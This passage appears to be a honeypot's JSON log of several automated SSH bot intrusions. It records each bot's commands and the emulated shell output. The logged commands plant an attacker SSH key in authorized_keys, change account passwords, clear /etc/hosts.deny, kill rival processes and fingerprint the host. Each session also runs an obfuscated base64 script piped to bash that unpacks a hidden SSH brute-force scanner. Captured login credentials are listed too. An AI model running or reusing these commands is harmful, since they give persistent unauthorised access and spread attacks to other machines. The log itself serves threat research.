\"sagar\\nByh65z8LoLTm\\nByh65z8LoLTm\\n\"|passwd"},{"seq":7,"at":"2026-08-22T05:11:15.555035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-22T05:11:15.555492+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-22T05:11:16.080147+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-22T05:11:16.776453+00:00","kind":"output","latency_ms":695,"data":"15888 6221 8167 231 426 6842"},{"seq":11,"at":"2026-08-22T05:11:17.300092+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-22T05:11:17.963745+00:00","kind":"output","latency_ms":662,"data":"-rwxr-xr-x 1 root root 140K Jan 1 00:00 /usr/bin/ls"},{"seq":13,"at":"2026-08-22T05:11:18.488510+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-22T05:11:18.488952+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T05:11:19.013561+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-22T05:11:19.014106+00:00","kind":"output","latency_ms":null,"data":" 05:11:19 up 2 days, 2:01, 0 user, load average: 0.12, 0.14, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-22T05:11:19.539366+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-22T05:11:19.539941+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-22T05:11:20.065052+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-22T05:11:20.065596+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-22T05:11:20.591207+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-22T05:11:20.592349+00:00","kind":"output","latency_ms":null,"data":"top - 05:11:20 up 2 days, 2:01, 0 user, load average: 0.12, 0.14, 0.12\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-22T05:11:21.116331+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-22T05:11:21.117164+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-22T05:11:21.644905+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-22T05:11:21.645571+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-22T05:11:22.173147+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-22T05:11:22.173649+00:00","kind":"output","latency_ms":null,"data":"sagar"},{"seq":29,"at":"2026-08-22T05:11:22.700143+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-22T05:11:23.460942+00:00","kind":"output","latency_ms":760,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-22T05:11:23.985242+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-22T05:11:24.420971+00:00","kind":"output","latency_ms":434,"data":"24.02G"},{"seq":33,"at":"2026-08-22T05:11:26.180250+00:00","kind":"input","latency_ms":null,"data":"echo \"sagar sagar\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-22T05:11:26.721405+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-22T05:11:27.202758+00:00","kind":"output","latency_ms":478,"data":""},{"seq":36,"at":"2026-08-22T05:11:28.597476+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-22T05:11:29.398076+00:00","kind":"output","latency_ms":799,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-22T05:11:29.922283+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-22T05:11:30.590499+00:00","kind":"output","latency_ms":666,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-22T05:11:31.115410+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-22T05:11:31.639612+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T05:11:32.070077+00:00","kind":"output","latency_ms":430,"data":"1"},{"seq":43,"at":"2026-08-22T05:11:32.602560+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-22T05:11:33.042371+00:00","kind":"output","latency_ms":438,"data":"1"},{"seq":45,"at":"2026-08-22T05:11:33.568347+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-22T05:11:34.163092+00:00","kind":"output","latency_ms":594,"data":""},{"seq":47,"at":"2026-08-22T05:11:42.405098+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-22T05:11:42.405551+00:00","kind":"output","latency_ms":null,"data":"sagar"}],"credentials":[{"username":"sagar","password":"sagar","method":"password","accepted":true,"tier":"other"}]} {"id":"a138c833-813b-4b76-91a9-f7e27e1b99f6","name":"merry-faded-marmot","protocol":"ssh","channel_kind":"exec","src_ip":"183.91.11.36","src_port":40004,"username":"sagar","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":860,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T05:06:04.372296+00:00","ended_at":"2026-08-22T05:06:04.643002+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3321,"events":[{"seq":1,"at":"2026-08-22T05:05:17.333729+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T05:05:18.186486+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T05:05:26.754624+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T05:05:26.755257+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T05:05:27.615120+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sagar\\nhem0Z9ZwTfX2\\nhem0Z9ZwTfX2\"|passwd|bash"},{"seq":6,"at":"2026-08-22T05:05:28.476855+00:00","kind":"input","latency_ms":null,"data":"echo \"sagar\\nhem0Z9ZwTfX2\\nhem0Z9ZwTfX2\\n\"|passwd"},{"seq":7,"at":"2026-08-22T05:05:29.331170+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-22T05:05:29.331937+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-22T05:05:30.191553+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-22T05:05:30.936244+00:00","kind":"output","latency_ms":744,"data":"15988 312 12844 1678 1155 0"},{"seq":11,"at":"2026-08-22T05:05:31.797785+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-22T05:05:32.379190+00:00","kind":"output","latency_ms":581,"data":"-rwxr-xr-x 1 root root 1.3M Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-22T05:05:33.240072+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-22T05:05:33.240803+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T05:05:34.099409+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-22T05:05:34.100036+00:00","kind":"output","latency_ms":null,"data":" 05:05:34 up 2 days, 1:55, 0 user, load average: 0.34, 0.32, 0.36\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-22T05:05:34.959694+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-22T05:05:34.961415+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-22T05:05:35.825042+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-22T05:05:35.825770+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-22T05:05:36.685952+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-22T05:05:36.686632+00:00","kind":"output","latency_ms":null,"data":"top - 05:05:36 up 2 days, 1:55, 0 user, load average: 0.34, 0.32, 0.36\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-22T05:05:37.555571+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-22T05:05:37.556301+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-22T05:05:38.418647+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-22T05:05:38.419299+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-22T05:05:39.281423+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-22T05:05:39.282040+00:00","kind":"output","latency_ms":null,"data":"sagar"},{"seq":29,"at":"2026-08-22T05:05:40.144317+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-22T05:05:40.860426+00:00","kind":"output","latency_ms":715,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-22T05:05:41.722757+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-22T05:05:42.181276+00:00","kind":"output","latency_ms":457,"data":"24G"},{"seq":33,"at":"2026-08-22T05:05:44.966641+00:00","kind":"input","latency_ms":null,"data":"echo \"sagar sagar\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-22T05:05:45.830341+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-22T05:05:46.260256+00:00","kind":"output","latency_ms":430,"data":""},{"seq":36,"at":"2026-08-22T05:05:48.915515+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-22T05:05:49.343026+00:00","kind":"output","latency_ms":426,"data":"-bash: cat: command not found"},{"seq":38,"at":"2026-08-22T05:05:50.202755+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-22T05:05:50.676373+00:00","kind":"output","latency_ms":472,"data":"-bash: cat: command not found"},{"seq":40,"at":"2026-08-22T05:05:51.535849+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-22T05:05:52.402221+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T05:05:53.190389+00:00","kind":"output","latency_ms":785,"data":"-bash: cat: command not found"},{"seq":43,"at":"2026-08-22T05:05:54.050544+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-22T05:05:54.487300+00:00","kind":"output","latency_ms":433,"data":"-bash: cat: command not found"},{"seq":45,"at":"2026-08-22T05:05:55.343749+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-22T05:06:04.374115+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-22T05:06:04.374926+00:00","kind":"output","latency_ms":null,"data":"sagar"}],"credentials":[{"username":"sagar","password":"sagar","method":"password","accepted":true,"tier":"other"}]} {"id":"a0b73d99-0f20-4e51-aa7c-a0a50f254683","name":"early-civil-opossum","protocol":"ssh","channel_kind":"exec","src_ip":"181.164.12.188","src_port":47690,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":620,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T01:48:04.820032+00:00","ended_at":"2026-08-22T01:48:05.007288+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3555,"events":[{"seq":1,"at":"2026-08-22T01:47:28.005867+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T01:47:28.632543+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T01:47:34.155583+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T01:47:34.156868+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T01:47:34.776185+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1hLYUw2YnM7v\"|chpasswd|bash"},{"seq":6,"at":"2026-08-22T01:47:35.250855+00:00","kind":"output","latency_ms":473,"data":""},{"seq":7,"at":"2026-08-22T01:47:35.394086+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-22T01:47:36.010131+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-22T01:47:36.010617+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-22T01:47:36.625814+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-22T01:47:37.377826+00:00","kind":"output","latency_ms":751,"data":"15888 5341 10547 401 0 10047"},{"seq":12,"at":"2026-08-22T01:47:37.981529+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-22T01:47:38.475608+00:00","kind":"output","latency_ms":493,"data":"-rwxr-xr-x 1 root root 142K Apr 7 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-22T01:47:39.104060+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T01:47:39.104556+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-22T01:47:39.723856+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-22T01:47:39.724150+00:00","kind":"output","latency_ms":null,"data":" 01:47:39 up 1 day, 22:37, 0 user, load average: 0.21, 0.2, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-22T01:47:40.348359+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-22T01:47:40.348809+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-22T01:47:40.961827+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-22T01:47:40.962319+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-22T01:47:41.584176+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-22T01:47:41.584584+00:00","kind":"output","latency_ms":null,"data":"top - 01:47:41 up 1 day, 22:37, 0 user, load average: 0.21, 0.2, 0.23\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-22T01:47:42.214714+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-22T01:47:42.215559+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-22T01:47:42.828887+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-22T01:47:42.829505+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-22T01:47:43.434299+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-22T01:47:43.434847+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-22T01:47:44.055790+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-22T01:47:44.736845+00:00","kind":"output","latency_ms":679,"data":"Model name: AMD EPYC 7713 64-Core Processor\nArchitecture: x86_64"},{"seq":32,"at":"2026-08-22T01:47:45.363867+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-22T01:47:45.908250+00:00","kind":"output","latency_ms":543,"data":"24.0G"},{"seq":34,"at":"2026-08-22T01:47:47.789965+00:00","kind":"input","latency_ms":null,"data":"echo \"root Administrator_123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-22T01:47:48.413457+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-22T01:47:48.887116+00:00","kind":"output","latency_ms":473,"data":""},{"seq":37,"at":"2026-08-22T01:47:50.602838+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-22T01:47:51.050731+00:00","kind":"output","latency_ms":447,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-22T01:47:51.661873+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-22T01:47:52.449615+00:00","kind":"output","latency_ms":787,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-22T01:47:53.067938+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T01:47:53.681957+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-22T01:47:54.202105+00:00","kind":"output","latency_ms":519,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-22T01:47:54.824959+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-22T01:47:55.272931+00:00","kind":"output","latency_ms":446,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-22T01:47:55.897355+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-22T01:48:04.821274+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-22T01:48:04.821964+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Administrator_123","method":"password","accepted":true,"tier":"other"}]} {"id":"f567bc26-6240-465f-9ae0-dff2f938b90b","name":"creaky-painted-plover","protocol":"ssh","channel_kind":"exec","src_ip":"45.114.125.22","src_port":59710,"username":"server","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":736,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T01:33:33.265881+00:00","ended_at":"2026-08-22T01:33:33.493883+00:00","ended_reason":"exec complete","commands":26,"transcript_bytes":3274,"events":[{"seq":1,"at":"2026-08-22T01:32:31.254342+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T01:32:31.991092+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 